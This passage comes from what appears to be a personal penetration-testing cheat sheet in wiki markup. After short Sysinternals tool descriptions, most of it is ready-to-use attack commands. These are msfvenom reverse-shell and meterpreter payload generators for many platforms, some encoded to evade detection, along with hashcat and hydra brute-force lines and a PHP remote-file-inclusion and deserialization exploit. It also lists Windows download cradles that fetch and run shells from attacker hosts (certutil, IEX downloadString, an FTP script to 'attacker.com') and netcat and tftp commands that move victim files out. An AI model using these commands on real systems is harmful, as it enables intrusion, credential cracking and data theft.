* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
